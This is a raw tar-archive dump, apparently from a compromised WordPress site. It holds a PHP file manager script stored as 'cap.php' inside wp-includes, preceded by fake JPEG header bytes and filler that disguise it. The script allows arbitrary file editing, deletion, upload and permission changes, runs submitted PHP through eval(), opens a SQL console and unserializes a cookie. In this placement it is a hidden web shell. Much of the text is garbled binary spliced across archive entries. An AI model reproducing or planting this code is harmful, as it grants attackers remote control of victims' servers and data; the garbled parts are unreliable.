			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
